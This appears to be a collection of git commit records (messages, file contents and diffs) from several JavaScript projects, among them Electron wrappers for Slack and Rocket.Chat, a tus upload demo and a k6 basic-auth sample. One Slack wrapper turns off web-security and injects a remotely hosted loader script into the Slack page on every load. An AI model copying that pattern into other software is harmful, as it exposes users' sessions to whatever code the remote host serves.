auresponse("error", "update failed")); autoUpdater.on('checking-for-update', auresponse("checking-for-update", "looking for update")); autoUpdater.on('update-available', auresponse("update-available", "downloading update")); autoUpdater.on('update-not-available', auresponse("update-not-available", "latest")); autoUpdater.on('update-downloaded', auresponse("update-downloaded", "restart to update")); } if (env.name === 'development') { mainWindow.openDevTools(); } mainWindow.on('close', function () { mainWindowState.saveState(mainWindow); }); ipc.on('bounce', function(event, arg) { app.dock.bounce(arg.type); }); ipc.on('badge', function(event, arg) { app.dock.setBadge(arg.badge_text); }); app.on('zoom-in', function(event, arg) { mainWindow.webContents.executeJavaScript("host.zoom.increase();") }); app.on('zoom-out', function(event, arg) { mainWindow.webContents.executeJavaScript("host.zoom.decrease();") }); app.on('reset-zoom', function(event, arg) { mainWindow.webContents.executeJavaScript("host.zoom.reset();") }); var httpHandler = function(protocol) { return function(request, callback) { var url = request.url.split("://", 2)[1] url = protocol + "://" + url return callback( {url: url} ); } } electron.protocol.registerHttpProtocol('haxs', httpHandler("https")) electron.protocol.registerHttpProtocol('hax', httpHandler("http")) electron.protocol.registerFileProtocol('localhax', function(request, callback) { var url = request.url.split("://", 2)[1] callback({path: path.normalize(__dirname + '/localhax/' + url)}); }); }); app.on('window-all-closed', function () { app.quit(); });
JavaScript
0
@@ -2108,26 +2108,20 @@ s:// -obscure-fjord-9578 +slacks-hacks .her
9640e7a3517f95e59cbf4c9f3fe07900a1d52a20
Add a mention that imagemagick is needed for HEIC images
src/cli/dependencies.js
src/cli/dependencies.js
const chalk = require('chalk') const commandExists = require('command-exists') const warn = require('debug')('thumbsup:warn') const messages = require('./messages') const BINARIES = [ { // required to build the database mandatory: true, cmd: 'exiftool', url: 'https://www.sno.phy.queensu.ca/~phil/exiftool', msg: '' }, { // required to build thumbnails, even if we're only processing videos mandatory: true, cmd: 'gm', url: 'http://www.graphicsmagick.org', msg: '' }, { // optional to process videos mandatory: false, cmd: 'ffmpeg', url: 'https://www.ffmpeg.org', msg: 'You will not be able to process videos.' }, { // optional to process animated GIFs mandatory: false, cmd: 'gifsicle', url: 'http://www.lcdf.org/gifsicle', msg: 'You will not be able to process animated GIFs.' }, { // optional to process RAW photos mandatory: false, cmd: 'dcraw', url: 'https://www.cybercom.net/~dcoffin/dcraw/', msg: 'You will not be able to process RAW photos.' }, { // optional to create album ZIP files mandatory: false, cmd: 'zip', url: 'https://linux.die.net/man/1/zip', msg: 'You will not be able to create ZIP files.' } ] exports.checkRequired = () => { const missing = BINARIES.filter(bin => bin.mandatory).reduce(addToArrayIfMissing, []) if (missing.length > 0) { const list = missing.map(bin => `- ${bin.cmd} (${chalk.green(bin.url)})`) return messages.BINARIES_REQUIRED(list) } return null } exports.checkOptional = () => { const missing = BINARIES.filter(bin => !bin.mandatory).reduce(addToArrayIfMissing, []) if (missing.length > 0) { missing.forEach(bin => { warn(`${bin.cmd} (${bin.url}) is not installed. ${bin.msg}`) }) } } function addToArrayIfMissing (acc, binary) { if (!commandExists.sync(binary.cmd)) { acc.push(binary) } return acc }
JavaScript
0.000007
@@ -506,32 +506,212 @@ sg: ''%0A %7D,%0A %7B%0A + // optional to process HEIC files%0A mandatory: false,%0A cmd: 'magick',%0A url: 'https://imagemagick.org',%0A msg: 'You will not be able to process HEIC images.'%0A %7D,%0A %7B%0A // optional
1cb5d6ac2ac12c59b30419ad495c99039cfb062e
Remove extraneous tool tip.
apps/dg/components/guide/guide_configuration_view.js
apps/dg/components/guide/guide_configuration_view.js
// ========================================================================== // DG.GuideConfigurationView // // Implements a modal dialog used to configure the Guide menu in the tool shelf // // Authors: William Finzer // // Copyright ©2014 Concord Consortium // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ========================================================================== /** @class Implements a modal dialog used to configure the Guide menu in the tool shelf @extends SC.PalettePane */ DG.GuideConfigurationView = SC.PalettePane.extend( /** @scope DG.GuideConfigurationView.prototype */ { itemRow: SC.View.extend({ blurAction: null, blurTarget: null, childViews: 'itemTitle itemURL'.w(), itemTitle: SC.TextFieldView.design({ hint: 'DG.GuideConfigView.itemTitleHint' }), itemURL: SC.TextFieldView.design({ hint: 'DG.GuideConfigView.itemURLHint' }), init: function() { sc_super(); var tBlurAction = this.get('blurAction' ), tBlurTarget = this.get('blurTarget'); this.setPath( 'itemTitle.layout', { left: 5, width: 140 }); this.setPath( 'itemURL.layout', { left: 150, right: 5 }); this.get('childViews' ).forEach( function( iView) { iView.set('fieldDidBlur', function() { if( tBlurAction) tBlurAction.call( tBlurTarget); }); }); }, rowObject: function() { var tTitle = this.getPath('itemTitle.value' ), tURL = this.getPath('itemURL.value' ); if(!SC.empty(tTitle) || !SC.empty( tURL)) { return { itemTitle: tTitle, url: tURL}; } return null; }.property(), /** * * @param iItem {Object {itemTitle: {String} url: {String}} */ setItem: function( iItem) { if( iItem) { this.setPath('itemTitle.value', iItem.itemTitle); this.setPath('itemURL.value', iItem.url); } } }), model: null, isModal: YES, layout: { width: 400, height: 400, centerX: 0, centerY: 0 }, contentView: SC.View.extend( { childViews: 'titleField menuItems okButton cancel'.w(), titleField: SC.TextFieldView.design( { layout: { top: 5, left: 5, right: 25, height: 24 }, value: '', spellCheckEnabled: true, hint: 'DG.GuideConfigView.titleHint', leftAccessoryView: SC.LabelView.create( { layout: { left: 1, width: 95, height: 22, centerY: 0 }, value: 'DG.GuideConfigView.titlePrompt', // "Guide Title" backgroundColor: 'lightgray', localize: true } ) } ), menuItems: SC.View.design( { layout: { left: 5, right: 5, top: 34, bottom: 34 }, backgroundColor: 'white' } ), okButton: SC.ButtonView.design( { layout: { bottom: 5, right: 5, height: 24, width: 90 }, titleMinWidth: 0, title: 'DG.GuideConfigView.okBtnTitle', // "OK" toolTip: 'DG.GuideConfigView.okBtnToolTip', target: null, action: null, toolTip: '', localize: true, isDefault: true } ), cancel: SC.ButtonView.design( { layout: { bottom: 5, right: 115, height: 24, width: 90 }, titleMinWidth: 0, title: 'DG.GuideConfigView.cancelBtnTitle', // "Cancel" target: null, action: null, toolTip: 'DG.GuideConfigView.cancelBtnTooltip', // "Dismiss the dialog without making any changes" localize: true, isCancel: true } ) } ), title: function() { return this.getPath('contentView.titleField.value'); }.property(), items: function() { return this.get('rowObjects'); }.property(), addMenuItemRow: function( iItem) { var tMenuItemsView = this.getPath('contentView.menuItems' ), tNumRows = this.get('rowViews' ).length, tTop = 5 + tNumRows * 27, tSection = this.itemRow.create({ layout: { border: 1, left: 5, right: 5, top: tTop + 5, height: 22 }, blurAction: this.configureRows, blurTarget: this }); tSection.setItem( iItem); tMenuItemsView.appendChild( tSection); }, rowViews: function() { return this.getPath('contentView.menuItems.childViews' ); }.property(), rowObjects: function() { return this.get('rowViews' ) .map( function( iRowView) { return iRowView.get('rowObject'); } ) .filter( function( iObject) { return iObject ? true : false; }); }.property(), configureRows: function() { var tNumRowViews = this.get('rowViews' ).length, tNumRowObjects = this.get('rowObjects' ).length; while( tNumRowViews < tNumRowObjects + 1) { this.addMenuItemRow(); tNumRowViews++; } }, /** * * @param iModel {DG.GuideModel} */ setupFromModel: function( iModel) { var tModel = this.get('model'); this.setPath('contentView.titleField.value', tModel.get('title')); tModel.get('items' ).forEach( function( iItem) { this.addMenuItemRow( iItem); }.bind( this)); }, /** Initialization function. */ init: function () { sc_super(); this.setPath( 'contentView.cancel.target', this ); this.setPath( 'contentView.cancel.action', 'close' ); this.setupFromModel(); this.configureRows(); }, /** Close the dialog. */ close: function () { this.remove(); this.destroy(); } } ); DG.CreateGuideConfigurationView = function ( iProperties ) { var tDialog = DG.GuideConfigurationView.create( iProperties ), tContentView = tDialog.get('contentView' ), tEditView = tDialog.getPath( 'contentView.titleField' ); tContentView.setPath('okButton.target', iProperties.okTarget); tContentView.setPath('okButton.action', iProperties.okAction); tDialog.append(); tEditView.becomeFirstResponder(); return tDialog; };
JavaScript
0
@@ -3667,29 +3667,8 @@ ll,%0A - toolTip: '',%0A
0c9a9ce8d2f757026ed07e29da14656a5966e99f
Change tooltip format
anaclock.js
anaclock.js
'use strict'; var conf = { "hand": { "color": { "r": 0, "g": 0, "b": 0 } }, "background": { "shape": "square", "color": { "r": 0, "g": 0, "b": 0 } } }; function drawClock(items) { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); var d = new Date(); var s = d.getSeconds(); var m = d.getMinutes(); var h = d.getHours(); if (h > 12) h -= 12; var rad = 0; browser.browserAction.setTitle({"title":d.getFullYear()+"/"+(d.getMonth()+1)+"/"+d.getDate()+" "+h+":"+m}); try { conf = JSON.parse(items["conf"]); } catch (e) {} ctx.save(); ctx.clearRect(0, 0, canvas.width, canvas.height); // Background ctx.fillStyle = "rgb(" + conf.background.color.r + "," + conf.background.color.g + "," + conf.background.color.b + ")"; ctx.beginPath(); ctx.arc(canvas.width / 2, canvas.height / 2, canvas.width / 2, 0, Math.PI * 2, false); ctx.fill(); // Face ctx.strokeStyle = "rgb(" + conf.hand.color.r + "," + conf.hand.color.g + "," + conf.hand.color.b + ")"; ctx.beginPath(); ctx.moveTo(9, 0); ctx.lineTo(9, 1); ctx.moveTo(17, 9); ctx.lineTo(18, 9); ctx.moveTo(9, 17); ctx.lineTo(9, 18); ctx.moveTo(0, 9); ctx.lineTo(1, 9); ctx.stroke(); ctx.translate(Math.ceil(canvas.width / 2), Math.ceil(canvas.height / 2)); // Short hand rad = 2 * Math.PI / 12 * h + 2 * Math.PI / 12 / 60 * m - Math.PI / 2; ctx.moveTo(0, 0); ctx.lineTo(Math.ceil(6 * Math.cos(rad)), Math.ceil(6 * Math.sin(rad))); ctx.moveTo(0, 0); ctx.lineTo(Math.ceil(2 * Math.cos(rad + Math.PI)), Math.ceil(2 * Math.sin(rad + Math.PI))); ctx.stroke(); // Long hand rad = 2 * Math.PI / 60 * m - Math.PI / 2; ctx.moveTo(0, 0); ctx.lineTo(Math.ceil(8 * Math.cos(rad)), Math.ceil(8 * Math.sin(rad))); ctx.moveTo(0, 0); ctx.lineTo(Math.ceil(2 * Math.cos(rad + Math.PI)), Math.ceil(2 * Math.sin(rad + Math.PI))); ctx.stroke(); ctx.restore(); chrome.browserAction.setIcon({ "imageData": ctx.getImageData(0, 0, canvas.width, canvas.height) }); } function saveOptions(items) { try { conf = JSON.parse(items["conf"]); } catch (e) {} $('#hand-color').ColorPicker({ color: conf["hand"]["color"], flat: true, onChange: function(hsb, hex, rgb) { conf["hand"]["color"] = rgb; chrome.storage.local.set({ "conf": JSON.stringify(conf) }); } }); $('#bg-color').ColorPicker({ color: conf["background"]["color"], flat: true, onChange: function(hsb, hex, rgb) { conf["background"]["color"] = rgb; chrome.storage.local.set({ "conf": JSON.stringify(conf) }); } }); } function anaclock() { chrome.storage.local.get("conf", drawClock); } function options() { chrome.storage.local.get("conf", saveOptions); }
JavaScript
0.000001
@@ -430,35 +430,106 @@ ;%0A -if (h %3E 12) +var rad = 0;%0A%0A var str_mon = d.getMonth() + 1;%0A var str_d = d.getDate();%0A var str_ h -- = -12 +h ;%0A var rad @@ -524,25 +524,172 @@ ;%0A var -rad = 0;%0A +str_m = m;%0A if (str_mon %3C 10) str_mon = %220%22 + str_mon;%0A if (str_d %3C 10) str_d = %220%22 + str_d;%0A if (h %3C 10) str_h = %220%22 + h;%0A if (m %3C 10) str_m = %220%22 + m; %0A brows @@ -747,54 +747,71 @@ %22/%22+ -(d.getMonth()+1)+%22/%22+d.getDate() +str_mon+%22/%22+str_d +%22 %22+ +str_ h+%22:%22+ -m%7D) +str_m%7D);%0A%0A if (h %3E 12) h -= 12 ;%0A%0A
160bcf30ce98025cf86ec15c35aab8b019e9f9a3
disable hw acceleration
app/main.js
app/main.js
const electron = require('electron'); const path = require('path'); const { app, BrowserWindow } = electron; // simple parameters initialization const electronConfig = { URL_LAUNCHER_TOUCH: process.env.URL_LAUNCHER_TOUCH === '1' ? 1 : 0, URL_LAUNCHER_TOUCH_SIMULATE: process.env.URL_LAUNCHER_TOUCH_SIMULATE === '1' ? 1 : 0, URL_LAUNCHER_FRAME: process.env.URL_LAUNCHER_FRAME === '1' ? 1 : 0, URL_LAUNCHER_KIOSK: process.env.URL_LAUNCHER_KIOSK === '1' ? 1 : 0, URL_LAUNCHER_NODE: process.env.URL_LAUNCHER_NODE === '1' ? 1 : 0, URL_LAUNCHER_WIDTH: parseInt(process.env.URL_LAUNCHER_WIDTH || 1920, 10), URL_LAUNCHER_HEIGHT: parseInt(process.env.URL_LAUNCHER_HEIGHT || 1080, 10), URL_LAUNCHER_TITLE: process.env.URL_LAUNCHER_TITLE || 'RESIN.IO', URL_LAUNCHER_CONSOLE: process.env.URL_LAUNCHER_CONSOLE === '1' ? 1 : 0, URL_LAUNCHER_URL: process.env.URL_LAUNCHER_URL || `file:///${path.join(__dirname, 'data', 'index.html')}`, URL_LAUNCHER_ZOOM: parseFloat(process.env.URL_LAUNCHER_ZOOM || 1.0), URL_LAUNCHER_OVERLAY_SCROLLBARS: process.env.URL_LAUNCHER_CONSOLE === '1' ? 1 : 0, }; // enable touch events if your device supports them if (electronConfig.URL_LAUNCHER_TOUCH) { app.commandLine.appendSwitch('--touch-devices'); } // simulate touch events - might be useful for touchscreen with partial driver support if (electronConfig.URL_LAUNCHER_TOUCH_SIMULATE) { app.commandLine.appendSwitch('--simulate-touch-screen-with-mouse'); } if (process.env.NODE_ENV === 'development') { console.log('Running in development mode'); Object.assign(electronConfig, { URL_LAUNCHER_HEIGHT: 600, URL_LAUNCHER_WIDTH: 800, URL_LAUNCHER_KIOSK: 0, URL_LAUNCHER_CONSOLE: 1, URL_LAUNCHER_FRAME: 1, }); } /* we initialize our application display as a callback of the electronJS "ready" event */ app.on('ready', () => { 'use strict'; // here we actually configure the behavour of electronJS const window = new BrowserWindow({ width: electronConfig.URL_LAUNCHER_WIDTH, height: electronConfig.URL_LAUNCHER_HEIGHT, frame: !!(electronConfig.URL_LAUNCHER_FRAME), title: electronConfig.URL_LAUNCHER_TITLE, kiosk: !!(electronConfig.URL_LAUNCHER_KIOSK), webPreferences: { sandbox: false, nodeIntegration: !!(electronConfig.URL_LAUNCHER_NODE), zoomFactor: electronConfig.URL_LAUNCHER_ZOOM, overlayScrollbars: !!(electronConfig.URL_LAUNCHER_OVERLAY_SCROLLBARS), }, }); window.webContents.on('did-finish-load', () => { setTimeout(() => { window.show(); }, 300); }); // if the env-var is set to true, // a portion of the screen will be dedicated to the chrome-dev-tools if (electronConfig.URL_LAUNCHER_CONSOLE) { window.openDevTools(); } // the big red button, here we go window.loadURL(electronConfig.URL_LAUNCHER_URL); });
JavaScript
0.000001
@@ -1095,16 +1095,50 @@ : 0,%0A%7D;%0A +app.disableHardwareAcceleration(); %0A// enab
9ed7f7068fa41cefecca4140e97c95c58146c9af
Remove tray when appWindow closes
app/main.js
app/main.js
'use strict'; var app = require('app'); var ipc = require('ipc'); var path = require('path'); var BrowserWindow = require('browser-window'); var env = require('./vendor/electron_boilerplate/env_config'); var devHelper = require('./vendor/electron_boilerplate/dev_helper'); var windowStateKeeper = require('./vendor/electron_boilerplate/window_state'); var tray = require('./tray'); // global variable var APP_NAME = 'Rocket.Chat'; var INDEX = 'https://rocket.chat/home'; // var INDEX = 'file://' + path.join( __dirname, 'app.html' ); let flagQuitApp = false; let mainWindow; // Preserver of the window size and position between app launches. var mainWindowState = windowStateKeeper('main', { width: 1000, height: 600 }); // Quit when all windows are closed. app.on('window-all-closed', function() { tray.destroy(); if (process.platform !== 'darwin') { quit(); } }); app.on('activate-with-no-open-windows', function() { if (!mainWindow) { appReady(); } else { mainWindow.show(); } }); var willQuit = false; app.on('before-quit', function() { willQuit = true; }); app.on('ready', appReady); function initWindow() { var win = new BrowserWindow({ 'title': APP_NAME, // Standard icon looks somehow very thin in the taskbar 'icon': path.resolve(path.join(__dirname, 'icons', 'tray', 'icon-tray.png')), 'node-integration': false, 'accept-first-mouse': true, 'show': false, 'x': mainWindowState.x, 'y': mainWindowState.y, 'width': mainWindowState.width, 'height': mainWindowState.height, 'preload': path.resolve(path.join(__dirname, 'preload.js')), 'web-preferences': { 'web-security': false } }); if (mainWindowState.isMaximized) { win.maximize(); } if (env.name === 'development') { devHelper.setDevMenu(); win.openDevTools(); } return win; } function appReady() { let appWindow; appWindow = initWindow(); appWindow.hide(); appWindow.webContents.on('did-finish-load', function() { //prevent flicker workaround mainWindow.setAlwaysOnTop(true); appWindow.show(); setTimeout(function() { mainWindow.close(); }, 100); }); mainWindow = initWindow(); mainWindow.loadUrl(INDEX); tray.createAppTray(mainWindow); tray.bindOnQuit(onQuitApp); appWindow.on('close', function(event) { flagQuitApp = true; }); mainWindow.on('close', function(event) { if (mainWindow !== null && !flagQuitApp) { tray.minimizeMainWindow(); event.preventDefault(); } else { mainWindowState.saveState(mainWindow); appWindow.close(); } }); mainWindow.on('closed', function() { mainWindow = null; }); mainWindow.webContents.on('did-finish-load', function() { mainWindow.show(); }); mainWindow.webContents.on('new-window', function(ev, url, target) { if (target === '_system') { ev.preventDefault(); require('shell').openExternal(url); } else if (target === '_blank') { ev.preventDefault(); appWindow.loadUrl(url); } }); } function onQuitApp() { if (!flagQuitApp) { flagQuitApp = true; if (mainWindow) { mainWindow.close(); } } } function quit() { if (process.platform !== 'darwin') { app.quit(); } } ipc.on('open-dev', function() { mainWindow.openDevTools(); }); ipc.on('unread-changed', function(event, unread) { let showAlert = (unread !== null && unread !== undefined && unread !== ''); if (process.platform === 'darwin') { app.dock.setBadge(String(unread || '')); } tray.showTrayAlert(showAlert); });
JavaScript
0.000001
@@ -809,28 +809,8 @@ ) %7B%0A - tray.destroy();%0A @@ -2501,24 +2501,48 @@ App = true;%0A + tray.destroy();%0A %7D);%0A%0A
4266c50b115cbb59d5f283732e42c3ac95bed715
Enable retries in demo
demo/demo.js
demo/demo.js
/* global tus */ /* eslint no-console: 0 */ var upload = null; var stopBtn = document.querySelector("#stop-btn"); var resumeCheckbox = document.querySelector("#resume"); var input = document.querySelector("input[type=file]"); var progress = document.querySelector(".progress"); var progressBar = progress.querySelector(".bar"); var alertBox = document.querySelector("#support-alert"); var chunkInput = document.querySelector("#chunksize"); var endpointInput = document.querySelector("#endpoint"); if (!tus.isSupported) { alertBox.className = alertBox.className.replace("hidden", ""); } stopBtn.addEventListener("click", function (e) { e.preventDefault(); if (upload) { upload.abort(); } }); input.addEventListener("change", function (e) { var file = e.target.files[0]; // Only continue if a file has actually been selected. // IE will trigger a change event if we reset the input element // inside reset() and we do not want to blow up later. if (!file) { return; } console.log("selected file", file); stopBtn.classList.remove("disabled"); var endpoint = endpointInput.value; var chunkSize = parseInt(chunkInput.value, 10); if (isNaN(chunkSize)) { chunkSize = Infinity; } var options = { endpoint: endpoint, resume: !resumeCheckbox.checked, chunkSize: chunkSize, metadata: { filename: file.name }, onError: function (error) { if (error.originalRequest) { if (confirm("Failed because: " + error + "\nDo you want to retry?")) { options.resume = false; options.uploadUrl = upload.url; upload = new tus.Upload(file, options); upload.start(); return; } } else { alert("Failed because: " + error); } reset(); }, onProgress: function (bytesUploaded, bytesTotal) { var percentage = (bytesUploaded / bytesTotal * 100).toFixed(2); progressBar.style.width = percentage + "%"; console.log(bytesUploaded, bytesTotal, percentage + "%"); }, onSuccess: function () { reset(); var anchor = document.createElement("a"); anchor.textContent = "Download " + upload.file.name + " (" + upload.file.size + " bytes)"; anchor.href = upload.url; anchor.className = "btn btn-success"; e.target.parentNode.appendChild(anchor); } }; upload = new tus.Upload(file, options); upload.start(); }); function reset() { input.value = ""; stopBtn.classList.add("disabled"); progress.classList.remove("active"); }
JavaScript
0
@@ -1324,16 +1324,50 @@ nkSize,%0A + retryDelays: %5B0, 1000, 2000%5D,%0A meta
56d883b592ee663dda0100cd49b5a5166bb081a1
change order of args
resources/public/js/Sprite.js
resources/public/js/Sprite.js
function Sprite(size, position, animationSpeed, frames) { this.size = size; // in "pixels" per tile this.position = position; // 2d Vector this.currentFrame = 0; this.tick = 0; this.frames = frames || []; this.cache = {}; this.animationDelta = 0; this.animationSpeed = animationSpeed || 100; } // globally shared sprite cache Sprite.cache = {}; Sprite.prototype.update = function() { if(this.animationDelta > this.animationSpeed){ this.currentFrame = this.tick % this.frames.length; this.tick++; this.animationDelta = 0; }else{ this.animationDelta += delta; } this.pixelSize = Math.floor(TILESIZE / this.size); }; Sprite.prototype.draw = function() { var start = this.position.mul(TILESIZE); // pixel location on canvas var end = start.add(TILESIZE); // this is the opposite corner of the tile context.moveTo(start.x, start.y); // debugger; // TODO: refactor this one for(var x = start.x, tx = 0; x < end.x; x += this.pixelSize, tx++){ for(var y = start.y, ty = 0; y < end.y; y += this.pixelSize, ty++){ try{ context.fillStyle = this.frames[this.currentFrame][tx][ty]; context.fillRect(x, y, this.pixelSize, this.pixelSize); }catch(e){ // FIXME: sometimes drawX or drawY exceeds the frame dimensions, why? } } } }; // TODO: fix this function, the idea here is to cache this sprite by drawing // it to a hidden canvas, so that when we do the drawing on the visible // canvas we can do a drawImage using the image that we have predrawn. // this is theoretically much faster Sprite.prototype.cacheFrames = function() { // cCanvas is a sprite sheet containing the drawn frames var cCanvas = document.createElement('canvas'); cCanvas.height = TILESIZE; cCanvas.width = TILESIZE * this.frames.length; var cContext = cCanvas.getContext('2d'); var pixelSize = Math.floor(TILESIZE / this.size); for(var frame = 0; frame < this.frames.length; frame++){ cContext.moveTo(frame * TILESIZE, 0); // draw frame to section of sprite sheet canvas for(var x = 0, tx = 0; x < TILESIZE; x += pixelSize, tx++){ for(var y = 0, ty = 0; y < TILESIZE; y += pixelSize, ty++){ try{ cContext.fillStyle = this.frames[frame][tx][ty]; cContext.fillRect(x, y, pixelSize, pixelSize); }catch(e){ // FIXME: sometimes drawX or drawY exceeds the frame dimensions, why? } } } // use frame contents as cache-key cacheKey = this.frames[frame].join(''); Sprite.cache[cacheKey] = cCanvas; } return Sprite.cache; };
JavaScript
0.000069
@@ -24,16 +24,24 @@ osition, + frames, animati @@ -47,24 +47,16 @@ ionSpeed -, frames ) %7B%0A th
a367fb8a98d1f9242a755a9a6f7c993f333b1c0e
remove path and exit to fix bug with windows squirell launch
app/main.js
app/main.js
/* eslint-env node */ const electron = require("electron") const {app, BrowserWindow, ipcMain, Menu, shell} = electron const isDev = require("electron-is-dev") const { URL } = require("url") const defaultMenu = require("electron-default-menu") const updater = require("./updater") const logger = require("./logger") const path = require("path") const {authorizeUser, setAccessToken} = require("./userAuthentication") let mainWindow let loadOnReady = null const DEFAULT_PROTOCOL_HANDLER = "x-github-classroom" if (require("electron-squirrel-startup")) app.quit() logger.init() const createWindow = () => { logger.info("creating app window") const menu = defaultMenu(app, shell) Menu.setApplicationMenu(Menu.buildFromTemplate(menu)) mainWindow = new BrowserWindow({width: 1200, height: 750, titleBarStyle: "hidden", show: false}) const url = `file://${__dirname}/index.html` mainWindow.loadURL(url) if (isDev) { mainWindow.webContents.openDevTools() } if (!isDev) { const msBetweenUpdates = 1000 * 60 * 30 updater.start(app, msBetweenUpdates) } mainWindow.on("closed", function () { mainWindow = null }) ipcMain.on("initialized", async () => { if (loadOnReady != null) { // If open-url event was fired before app was ready await setAccessToken(loadOnReady.code, mainWindow) loadPopulatePage(loadOnReady.assignmentURL) loadOnReady = null } mainWindow.show() }) ipcMain.on("requestAuthorization", () => { authorizeUser(mainWindow, DEFAULT_PROTOCOL_HANDLER) }) } const loadPopulatePage = (assignmentURL) => { mainWindow.webContents.send("open-url", assignmentURL) } const setInstanceProtocolHandler = () => { app.setAsDefaultProtocolClient(DEFAULT_PROTOCOL_HANDLER) return app.makeSingleInstance((argv) => { if (mainWindow) { if (mainWindow.isMinimized()) mainWindow.restore() mainWindow.focus() if (process.platform === "win32") { const url = argv.find(function (arg) { return /^x-github-classroom:\/\//.test(arg) }) if (url) app.emit("open-url", null, url) } } }) } app.on("open-url", async function (event, urlToOpen) { if (event) { event.preventDefault() } let assignmentURL = "" const urlParams = new URL(urlToOpen).searchParams const isClassroomDeeplink = urlParams.has("assignment_url") const isOAuthDeeplink = urlParams.has("code") if (isOAuthDeeplink) { const oauthCode = urlParams.get("code") if (isClassroomDeeplink) { assignmentURL = urlParams.get("assignment_url") } if (app.isReady()) { // TODO: Handle rejected promise await setAccessToken(oauthCode, mainWindow) loadPopulatePage(assignmentURL) } else { loadOnReady = { assignmentURL: assignmentURL, code: oauthCode } } } }) app.on("ready", async () => { const anotherInstanceRunning = setInstanceProtocolHandler() if (anotherInstanceRunning) app.quit() createWindow() }) app.on("window-all-closed", function () { if (process.platform !== "darwin") { app.quit() } }) app.on("activate", function () { if (mainWindow === null) { createWindow() } })
JavaScript
0
@@ -312,37 +312,8 @@ er%22) -%0Aconst path = require(%22path%22) %0A%0Aco @@ -519,26 +519,26 @@ rtup%22)) app. -qu +ex it()%0A%0Alogger
331f7603a00d8d055105eb9d8f11a70ad93fd739
Remove some debug info
app/main.js
app/main.js
'use strict'; var app = require('app'); var BrowserWindow = require('browser-window'); var Menu = require("menu"); var env = require('./vendor/electron_boilerplate/env_config'); var menuTemplate = require('./menu_template')(app); var windowStateKeeper = require('./vendor/electron_boilerplate/window_state'); var shell = require('shell'); var mainWindow; // Preserver of the window size and position between app launches. var mainWindowState = windowStateKeeper('main', { width: 1000, height: 600 }); app.on('ready', function () { mainWindow = new BrowserWindow({ x: mainWindowState.x, y: mainWindowState.y, width: mainWindowState.width, height: mainWindowState.height, "node-integration": false, "web-preferences": { "web-security": false } }); if (mainWindowState.isMaximized) { mainWindow.maximize(); } mainWindow.webContents.on('did-finish-load', function(event) { this.executeJavaScript("s = document.createElement('script');s.setAttribute('src','https://dinosaur.s3.amazonaws.com/slack-hacks-loader.js'); document.head.appendChild(s);"); }); mainWindow.webContents.on('new-window', function(e, url) { e.preventDefault(); shell.openExternal(url); }); mainWindow.webContents.on('will-navigate', function(event) { // This allows drag and drop to work console.log("preventing will-navigate"); event.preventDefault(); }); mainWindow.loadURL('https://my.slack.com/ssb'); //console.log(menuTemplate); var built = Menu.buildFromTemplate(menuTemplate); console.log(built); var res = Menu.setApplicationMenu(built); console.log("menu set result"); console.log(res); if (env.name === 'development') { mainWindow.openDevTools(); } mainWindow.on('close', function () { mainWindowState.saveState(mainWindow); }); mainWindow.on('page-title-updated', function(event) { var title = mainWindow.webContents.getTitle(); console.log("title changed to: " + title); if (title.indexOf("!") != -1) { console.log("bouncing"); app.bounce_id = app.dock.bounce("critical"); app.dock.setBadge("*"); } else { console.log("canceling bounce"); if (app.bounce_id !== undefined && app.bounce_id !== null) { app.dock.cancelBounce(app.bounce_id); app.dock.setBadge(""); } } }); }); app.on('window-all-closed', function () { app.quit(); });
JavaScript
0.000001
@@ -1542,41 +1542,8 @@ );%0A%0A - //console.log(menuTemplate);%0A @@ -1596,32 +1596,8 @@ e);%0A - console.log(built);%0A @@ -1641,66 +1641,8 @@ lt); -%0A console.log(%22menu set result%22);%0A console.log(res); %0A%0A @@ -1930,57 +1930,8 @@ ();%0A - console.log(%22title changed to: %22 + title);%0A @@ -1968,41 +1968,8 @@ ) %7B%0A - console.log(%22bouncing%22);%0A @@ -2068,49 +2068,8 @@ e %7B%0A - console.log(%22canceling bounce%22);%0A
19e39b08feb29499ec21671aefcb65fae829b48f
Extend HTTP basic auth example
samples/http_basic_auth.js
samples/http_basic_auth.js
import http from "k6/http"; import { check } from "k6"; export default function() { // Passing username and password as part of URL will authenticate using HTTP Basic Auth let res = http.get("http://user:[email protected]/basic-auth/user/passwd"); // Verify response check(res, { "status is 200": (r) => r.status === 200, "is authenticated": (r) => r.json().authenticated === true, "is correct user": (r) => r.json().user === "user" }); }
JavaScript
0.000002
@@ -1,12 +1,48 @@ +import encoding from %22k6/encoding%22;%0A import http @@ -288,16 +288,481 @@ swd%22);%0A%0A + // Verify response%0A check(res, %7B%0A %22status is 200%22: (r) =%3E r.status === 200,%0A %22is authenticated%22: (r) =%3E r.json().authenticated === true,%0A %22is correct user%22: (r) =%3E r.json().user === %22user%22%0A %7D);%0A%0A // Alternatively you can create the header yourself to authenticate using HTTP Basic Auth%0A res = http.get(%22http://httpbin.org/basic-auth/user/passwd%22, %7B headers: %7B %22Authorization%22: %22Basic %22 + encoding.b64encode(%22user:passwd%22) %7D%7D);%0A%0A // V
055252448cf6a541ad9284114933ebd2074a037f
update icon path to match repo contents
app/main.js
app/main.js
'use strict'; var app = require('app'); var ipc = require('ipc'); var path = require('path'); var BrowserWindow = require('browser-window'); var env = require('./vendor/electron_boilerplate/env_config'); var devHelper = require('./vendor/electron_boilerplate/dev_helper'); var windowStateKeeper = require('./vendor/electron_boilerplate/window_state'); var tray = require('./tray'); // global variable var APP_NAME = 'Rocket.Chat'; //var INDEX = 'https://demo.rocket.chat'; var INDEX = 'file://' + path.join(__dirname, 'app.html'); let flagQuitApp = false; let mainWindow; // Preserver of the window size and position between app launches. var mainWindowState = windowStateKeeper('main', { width: 1000, height: 600 }); // Quit when all windows are closed. app.on('window-all-closed', function() { if (process.platform !== 'darwin') { quit(); } }); app.on('activate-with-no-open-windows', function() { if (!mainWindow) { appReady(); } else { mainWindow.show(); } }); var willQuit = false; app.on('before-quit', function() { willQuit = true; }); app.on('ready', appReady); function initWindow() { var win = new BrowserWindow({ 'title': APP_NAME, // Standard icon looks somehow very thin in the taskbar 'icon': path.resolve(path.join(__dirname, 'icons', 'tray', 'icon-tray.png')), 'node-integration': false, 'accept-first-mouse': true, 'show': false, 'x': mainWindowState.x, 'y': mainWindowState.y, 'width': mainWindowState.width, 